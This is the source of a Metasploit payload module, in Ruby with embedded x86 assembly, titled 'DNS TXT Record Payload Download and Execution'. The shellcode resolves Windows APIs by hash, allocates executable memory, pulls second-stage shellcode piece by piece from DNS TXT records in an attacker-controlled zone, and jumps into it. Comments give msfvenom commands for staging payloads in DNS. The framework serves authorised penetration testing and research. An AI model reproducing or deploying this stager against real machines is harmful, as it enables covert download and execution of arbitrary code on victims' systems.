rapid7/metasploit-framework

View on GitHub
modules/payloads/singles/windows/dns_txt_query_exec.rb

Summary

Maintainability
C
7 hrs
Test Coverage
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule

  CachedSize = 285

  include Msf::Payload::Windows
  include Msf::Payload::Single

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'DNS TXT Record Payload Download and Execution',
      'Description'   => 'Performs a TXT query against a series of DNS record(s) and executes the returned payload',
      'Author'        =>
        [
          'corelanc0d3r <peter.ve[at]corelan.be>'
        ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86
    ))

    # EXITFUNC is not supported
    deregister_options('EXITFUNC')

    # Register command execution options
    register_options(
      [
        OptString.new('DNSZONE', [ true, "The DNS zone to query" ]),
      ])
  end

  #
  # Usage :
  # 1. Generate the shellcode you want to deliver via DNS TXT queries
  #    Make sure the shellcode is alpha_mixed or alpha_upper and uses EDI as bufferregister
  #    Example :
  #   ./msfvenom -p windows/messagebox TITLE="Friendly message from corelanc0d3r" TEXT="DNS Payloads FTW" -e x86/alpha_mixed Bufferregister=EDI -f raw
  #    Output : 658 bytes
  # 2. Split the alpha shellcode into individual parts of exactly 255 bytes (+ remaining bytes)
  #    In case of 658 bytes of payload, there will be 2 parts of 255 bytes, and one part of 144 bytes
  # 3. Create TXT records in a zone you control and put in a piece of the shellcode in each TXT record
  #    The last TXT record might have less than 255 bytes, that's fine
  #    The first part must be stored in the TXT record for prefix a.<yourdomain.com>
  #    The second part must be stored in the TXT record for b.<yourdomain.com>
  #    etc
  #    First part must start with a.  and all parts must be placed in consecutive records
  # 4. use the dns_txt_query payload in the exploit, specify the name of the DNS zone that contains the DNS TXT records
  #    Example: ./msfvenom -p windows/dns_txt_query_exec DNSZONE=corelan.eu -f c
  #    (Example will show a messagebox)
  #
  # DNS TXT Records :
  # a.corelan.eu    : contains first 255 bytes of the alpha shellcode
  # b.corelan.eu    : contains the next 255 bytes of the alpha shellcode
  # c.corelan.eu    : contains the last 144 bytes of the alpha shellcode

  def generate(_opts = {})

    dnsname        = datastore['DNSZONE']
    wType        = 0x0010    #DNS_TYPE_TEXT (TEXT)
    wTypeOffset    = 0x1c

    queryoptions    = 0x248
      # DNS_QUERY_RETURN_MESSAGE (0x200)
      # DNS_QUERY_BYPASS_CACHE (0x08)
      # DNS_QUERY_NO_HOSTS_FILE (0x40)
      # DNS_QUERY_ONLY_TCP (0x02) <- not used atm

    bufferreg     = "edi"

    #create actual payload
    payload_data = <<EOS
  cld            ; clear direction flag
  call start        ; start main routine
; Stephen Fewer's block_api
; block_api code (Stephen Fewer)
api_call:
  pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
  mov ebp, esp           ; Create a new stack frame
  xor edx, edx           ; Zero EDX
  mov edx, fs:[edx+48]   ; Get a pointer to the PEB
  mov edx, [edx+12]      ; Get PEB->Ldr
  mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
next_mod:
  mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
  movzx ecx, word [edx+38] ; Set ECX to the length we want to check
  xor edi, edi           ; Clear EDI which will store the hash of the module name
loop_modname:            ;
  xor eax, eax           ; Clear EAX
  lodsb                  ; Read in the next byte of the name
  cmp al, 'a'            ; Some versions of Windows use lower case module names
  jl not_lowercase       ;
  sub al, 0x20           ; If so normalise to uppercase
not_lowercase:           ;
  ror edi, 13            ; Rotate right our hash value
  add edi, eax           ; Add the next byte of the name
  loop loop_modname      ; Loop until we have read enough
  ; We now have the module hash computed
  push edx               ; Save the current position in the module list for later
  push edi               ; Save the current module hash for later
  ; Proceed to iterate the export address table,
  mov edx, [edx+16]      ; Get this modules base address
  mov eax, [edx+60]      ; Get PE header
  add eax, edx           ; Add the modules base address
  mov eax, [eax+120]     ; Get export tables RVA
  test eax, eax          ; Test if no export address table is present
  jz get_next_mod1       ; If no EAT present, process the next module
  add eax, edx           ; Add the modules base address
  push eax               ; Save the current modules EAT
  mov ecx, [eax+24]      ; Get the number of function names
  mov ebx, [eax+32]      ; Get the rva of the function names
  add ebx, edx           ; Add the modules base address
  ; Computing the module hash + function hash
get_next_func:           ;
  jecxz get_next_mod     ; When we reach the start of the EAT (we search backwards), process the next module
  dec ecx                ; Decrement the function name counter
  mov esi, [ebx+ecx*4]   ; Get rva of next module name
  add esi, edx           ; Add the modules base address
  xor edi, edi           ; Clear EDI which will store the hash of the function name
  ; And compare it to the one we want
loop_funcname:           ;
  xor eax, eax           ; Clear EAX
  lodsb                  ; Read in the next byte of the ASCII function name
  ror edi, 13            ; Rotate right our hash value
  add edi, eax           ; Add the next byte of the name
  cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
  jne loop_funcname      ; If we have not reached the null terminator, continue
  add edi, [ebp-8]       ; Add the current module hash to the function hash
  cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for
  jnz get_next_func      ; Go compute the next function hash if we have not found it
  ; If found, fix up stack, call the function and then value else compute the next one...
  pop eax                ; Restore the current modules EAT
  mov ebx, [eax+36]      ; Get the ordinal table rva
  add ebx, edx           ; Add the modules base address
  mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
  mov ebx, [eax+28]      ; Get the function addresses table rva
  add ebx, edx           ; Add the modules base address
  mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
  add eax, edx           ; Add the modules base address to get the functions actual VA
  ; We now fix up the stack and perform the call to the desired function...
finish:
  mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
  pop ebx                ; Clear off the current modules hash
  pop ebx                ; Clear off the current position in the module list
  popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
  pop ecx                ; Pop off the original return address our caller will have pushed
  pop edx                ; Pop off the hash value our caller will have pushed
  push ecx               ; Push back the correct return value
  jmp eax                ; Jump into the required function
  ; We now automagically return to the correct caller...
get_next_mod:            ;
  pop eax                ; Pop off the current (now the previous) modules EAT
get_next_mod1:           ;
  pop edi                ; Pop off the current (now the previous) modules hash
  pop edx                ; Restore our position in the module list
  mov edx, [edx]         ; Get the next module
  jmp.i8 next_mod        ; Process this module

; actual routine
start:
  pop ebp            ; get ptr to block_api routine

; first allocate some space in heap to hold payload
alloc_space:
  xor eax,eax        ; clear EAX
  push 0x40        ; flProtect (RWX)
  mov ah,0x10        ; set EAX to 0x1000 (should be big enough to hold up to 26 * 255 bytes)
  push eax        ; flAllocationType MEM_COMMIT (0x1000)
  push eax        ; dwSize (0x1000)
  push 0x0        ; lpAddress
  push 0xE553A458            ; kernel32.dll!VirtualAlloc
  call ebp
  push eax        ; save pointer on stack, will be used in memcpy
  mov #{bufferreg}, eax    ; save pointer, to jump to at the end


;load dnsapi.dll
load_dnsapi:
  xor eax,eax        ; put part of string (hex) in eax
  mov al,0x70
  mov ah,0x69
  push eax            ; Push 'dnsapi' to the stack
  push 0x61736e64            ; ...
  push esp                   ; Push a pointer to the 'dnsapi' string on the stack.
  push 0x0726774C            ; kernel32.dll!LoadLibraryA
  call ebp                   ; LoadLibraryA( "dnsapi" )

;prepare for loop of queries
  mov bl,0x61        ; first query, start with 'a'

dnsquery:
  jmp.i8 get_dnsname    ; get dnsname

get_dnsname_return:
  pop eax            ; get ptr to dnsname (lpstrName)
  mov [eax],bl        ; patch sequence number in place
  xchg esi,ebx        ; save sequence number
  push esp        ; prepare ppQueryResultsSet
  pop ebx            ;   (put ptr to ptr to stack on stack)
  sub ebx,4
  push ebx
  push 0x0        ; pReserved
  push ebx        ; ppQueryResultsSet
  push 0x0        ; pExtra
  push #{queryoptions}    ; Options
  push #{wType}        ; wType
  push eax        ; lpstrName
  push 0xC99CC96A     ; dnsapi.dll!DnsQuery_A
  call ebp        ;
  test eax, eax        ; query ok ?
  jnz jump_to_payload    ; no, jump to payload
  jmp.i8 get_query_result    ; eax = 0 : a piece returned, fetch it


get_dnsname:
  call get_dnsname_return
  db "a.#{dnsname}", 0x00

get_query_result:
  xchg #{bufferreg},edx    ; save start of heap
  pop #{bufferreg}    ; heap structure containing DNS results
  mov eax,[#{bufferreg}+0x18]    ; check if value at offset 0x18 is 0x1
  cmp eax,1
  jne prepare_payload    ; jmp to payload
  add #{bufferreg},#{wTypeOffset}    ; get ptr to ptr to DNS reply
  mov #{bufferreg},[#{bufferreg}] ; get ptr to DNS reply

copy_piece_to_heap:
  xchg ebx,esi        ; save counter
  mov esi,edi        ; set source
  mov edi,[esp+0x8]    ; retrieve heap destination for memcpy
  xor ecx,ecx        ; clear ecx
  mov cl,0xff        ; always copy 255 bytes, no matter what
  rep movsb        ; copy from ESI to EDI
  push edi        ; save target for next copy
  push edi        ; 2 more times to make sure it's at esp+8
  push edi        ;
  inc ebx            ; increment sequence
  xchg #{bufferreg},edx    ; restore start of heap
  jmp.i8 dnsquery            ; try to get the next piece, if any

prepare_payload:
  mov #{bufferreg},edx

jump_to_payload:
  jmp #{bufferreg}    ; jump to it



EOS
    self.assembly = payload_data
    super
  end
end